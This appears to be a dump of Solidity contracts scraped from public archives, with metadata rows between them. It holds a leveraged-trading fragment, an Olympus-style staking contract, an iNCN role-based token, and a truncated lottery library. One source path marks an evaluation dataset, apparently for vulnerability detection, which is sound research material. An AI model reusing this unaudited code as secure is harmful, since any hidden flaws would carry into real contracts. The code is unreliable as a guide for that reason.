}
function updateUserLeverage(address user,
string memory asset,
uint16 assetLeverage,
string memory tradeId) internal {
int lockedBalance;
int newLockedBalance;
int newAvailableBalance;
require(assetLeverage > 0, string(abi.encodePacked('Zero Leverage! TradeId:', tradeId)));
if (usersAssetsData[user][asset].assetBalance == 0) {
usersAssetsData[user][asset].assetLeverage = assetLeverage;
}
if (usersAssetsData[user][asset].assetLeverage != assetLeverage){
lockedBalance = ((int(usersAssetsData[user][asset].assetPrice)
* abs(int(usersAssetsData[user][asset].assetBalance)))
/ int(usersAssetsData[user][asset].assetLeverage));
newLockedBalance = ((int(usersAssetsData[user][asset].assetPrice)
* abs(int(usersAssetsData[user][asset].assetBalance)))
/ int(uint256(assetLeverage)));
newAvailableBalance = int(usersAvailableBalances[user])
- (newLockedBalance - lockedBalance) / ETH_UNIT_FACTOR;
require(newAvailableBalance >= 0, string(abi.encodePacked('Insufficient balance! TradeId:', tradeId)));
usersAvailableBalances[user] = uint256(newAvailableBalance);
// usersAssetsData[user][asset].assetLockedBalance = uint256(newLockedBalance);
usersAssetsData[user][asset].assetLeverage = assetLeverage;
}
}
// struct tradingArrayIndexed {
// bool isBuy;
// uint32 makerIndex;
// uint32 takerIndex;
// uint32 assetIndex;
// uint256 assetAmount;
// uint256 assetRate;
// uint256 tradeFee;
// uint16 makerLeverage;
// uint16 takerLeverage;
// string tradeId;
// }
function batchTradeIndexed(tradingArrayIndexed[] memory batchTradingArray) public onlyOwner {
uint256 max = batchTradingArray.length;
for (uint256 i=0; i < max; i++) {
trade(batchTradingArray[i].isBuy,
indexedAddresses[batchTradingArray[i].makerIndex],
indexedAddresses[batchTradingArray[i].takerIndex],
assetsNames[batchTradingArray[i].assetIndex],
batchTradingArray[i].assetAmount,
batchTradingArray[i].assetRate,
batchTradingArray[i].tradeFee,
batchTradingArray[i].makerLeverage,
batchTradingArray[i].takerLeverage,
batchTradingArray[i].tradeId);
}
}
// struct tradingArray {
// bool isBuy;
// address makerAddress;
// address takerAddress;
// string assetName;
// uint256 assetAmount;
// uint256 assetRate;
// uint256 tradeFee;
// uint16 makerLeverage;
// uint16 takerLeverage;
// string tradeId;
// }
function batchTrade(tradingArray[] memory batchTradingArray) public onlyOwner {
uint256 max = batchTradingArray.length;
for (uint256 i=0; i < max; i++) {
trade(batchTradingArray[i].isBuy,
batchTradingArray[i].makerAddress,
batchTradingArray[i].takerAddress,
batchTradingArray[i].assetName,
batchTradingArray[i].assetAmount,
batchTradingArray[i].assetRate,
batchTradingArray[i].tradeFee,
batchTradingArray[i].makerLeverage,
batchTradingArray[i].takerLeverage,
batchTradingArray[i].tradeId);
}
}
function batchFundingRateFees(FeesArray[] memory batchFees) public onlyOwner {
uint256 max = batchFees.length;
for (uint256 i=0; i < max; i++) {
if (batchFees[i].feeAmount < 0) {
// negative fee
if (usersAvailableBalances[batchFees[i].userAddress] >= uint(-batchFees[i].feeAmount)) {
// enough available to pay fee
usersAvailableBalances[batchFees[i].userAddress] -= uint(-batchFees[i].feeAmount);
} else {
// not enough available to pay fee
usersAvailableBalances[batchFees[i].userAddress] = 0;
}
} else {
// positive fee
usersAvailableBalances[batchFees[i].userAddress] += uint(batchFees[i].feeAmount);
}
}
}
function abs(int x) private pure returns (int) {
return x >= 0 ? x : -x;
}
}
| 98,203 | 12,083 |
5af4a55637fa3cb9aa8a012ef6a7ef3c5bbb59898cd4e26cd25852d2b32dd805
| 27,455 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6c/6C578E492e84762814B62f0E76ee2E39d6491b49_LightSaberStakingContract.sol
| 4,201 | 16,954 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract LightSaberStakingContract is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 110,167 | 12,084 |
b12a54867bbc8c131ce6cb6cce6fbba426e5428b48694dec8071cf37feae950e
| 35,708 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDUCh1NwrQGqgVqNYXJkQ2sSiSxH5r32dV_iNCN.sol
| 4,319 | 17,313 |
//SourceUnit: iNCN_flat.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _bulkBurn(address[] memory account, uint256[] memory amount) internal virtual {
address[] memory to = new address[](1);
to[0] = address(0);
_beforeBulkTokenTransfer(account, to, amount);
require (account.length == amount.length, "ERC20: incorrect data array size");
uint256 totalSupplyDecrease = 0;
for(uint i = 0; i < account.length; i++){
uint256 accountBalance = _balances[account[i]];
require(accountBalance >= amount[i], "ERC20: burn amount exceeds balance");
unchecked {
_balances[account[i]] = accountBalance - amount[i];
}
totalSupplyDecrease += amount[i];
emit Transfer(account[i], address(0), amount[i]);
}
_totalSupply -= totalSupplyDecrease;
_afterBulkTokenTransfer(account, to, amount);
}
function _bulkMint(address[] memory account, uint256[] memory amount) internal virtual {
address[] memory from = new address[](1);
from[0] = address(0);
_beforeBulkTokenTransfer(from, account, amount);
require (account.length == amount.length, "ERC20: incorrect data array size");
uint256 totalSupplyIncrease = 0;
for(uint i = 0; i < account.length; i++){
require(account[i] != address(0), "ERC20: mint to the zero address");
totalSupplyIncrease += amount[i];
_balances[account[i]] += amount[i];
emit Transfer(address(0), account[i], amount[i]);
}
_totalSupply += totalSupplyIncrease;
_afterBulkTokenTransfer(from, account, amount);
}
function _afterBulkTokenTransfer(address[] memory from,
address[] memory to,
uint256[] memory amount) internal virtual {}
function _beforeBulkTokenTransfer(address[] memory from,
address[] memory to,
uint256[] memory amount) internal virtual {}
}
abstract contract Pausable is Context {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor() {
_paused = false;
}
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Pausable is ERC20, Pausable {
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface iNCNInterface is IERC20 {
function mint(address _to, uint256 _amount) external;
function bulkMint(address[] memory _to, uint256[] memory _amount) external;
function burn(address _from, uint256 _amount) external;
function lock(address _from, uint256 _amount) external returns (uint256);
function unlock(address _from, uint256 _lockIndex) external;
function availableBalance(address _user) external view returns (uint256);
}
contract iNCN is ERC20Pausable, AccessControl, iNCNInterface{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
mapping (address => uint256[]) public lockData;
mapping (address => uint256) public totalLockedAmount;
event Locked(address from, uint256 amount, uint256 lockID);
event Unlocked(address from, uint256 amount, uint256 lockID);
constructor() ERC20("iNCN", "iNCN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function decimals() public view virtual override returns (uint8) {
return 6;
}
//admin functions
function pause() onlyRole(DEFAULT_ADMIN_ROLE) public {
super._pause();
}
function unpause() onlyRole(DEFAULT_ADMIN_ROLE) public {
super._unpause();
}
// Minter functions
function mint(address _to, uint256 _amount) public override onlyRole(MINTER_ROLE) {
_mint(_to, _amount);
}
// Minter functions
function bulkMint(address[] memory _to, uint256[] memory _amount) public override onlyRole(MINTER_ROLE) {
_bulkMint(_to, _amount);
}
function availableBalance(address _from) public view override returns(uint256) {
return balanceOf(_from) - totalLockedAmount[_from];
}
function lock(address _from, uint256 _amount) external override onlyRole(BURNER_ROLE) returns (uint256){
require(availableBalance(_from) >= _amount, "iNCN: Not enough available balance left");
lockData[_from].push(_amount);
totalLockedAmount[_from] += _amount;
emit Locked(_from, _amount, lockData[_from].length - 1);
return lockData[_from].length - 1; //return index of the last lock element;
}
function unlock(address _from, uint256 _lockIndex) external override onlyRole(BURNER_ROLE){
require (lockData[_from].length > _lockIndex , "iNCN: Invalid _lockIndex");
require (lockData[_from][_lockIndex] > 0, "iNCN: Already unlocked");
uint256 unlockedAmount = lockData[_from][_lockIndex];
totalLockedAmount[_from] -= unlockedAmount;
lockData[_from][_lockIndex] = 0;
emit Unlocked(_from, unlockedAmount, _lockIndex);
}
function burn(address _from, uint256 _amount) external override onlyRole(BURNER_ROLE) {
_burn(_from, _amount);
}
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal override {
super._beforeTokenTransfer(_from, _to, _amount);
if(_from !=address(0))
require (availableBalance(_from) >= _amount, "iNCN: Not enough tokens available");
}
function _beforeBulkTokenTransfer(address[] memory _from, address[] memory _to, uint256[] memory _amount) internal override {
super._beforeBulkTokenTransfer(_from, _to, _amount);
require(!paused(), "iNCN: token transfer while paused");
}
}
| 296,681 | 12,085 |
8128473f71b0a02a54d9c608e9149b53fd90f0cafc7aa1f6ca000b67b7077ec4
| 23,931 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe01025a466d3faf937b23c6366f5509f0cea37d1.sol
| 4,499 | 17,840 |
pragma solidity ^0.4.24;
library DataSet {
enum RoundState {
UNKNOWN, // aim to differ from normal states
STARTED, // start current round
STOPPED, // stop current round
DRAWN, // draw winning number
ASSIGNED // assign to foundation, winner
}
struct Round {
uint256 count; // record total numbers sold already
uint256 timestamp; // timestamp refer to first bet(round start)
uint256 blockNumber; // block number refer to last bet
uint256 drawBlockNumber; // block number refer to draw winning number
RoundState state; // round state
uint256 pond; // amount refer to current round
uint256 winningNumber; // winning number
address winner; // winner's address
}
}
library NumberCompressor {
uint256 constant private MASK = 16777215; // 2 ** 24 - 1
function encode(uint256 _begin, uint256 _end, uint256 _ceiling) internal pure returns (uint256)
{
require(_begin <= _end && _end < _ceiling, "number is invalid");
return _begin << 24 | _end;
}
function decode(uint256 _value) internal pure returns (uint256, uint256)
{
uint256 end = _value & MASK;
uint256 begin = (_value >> 24) & MASK;
return (begin, end);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
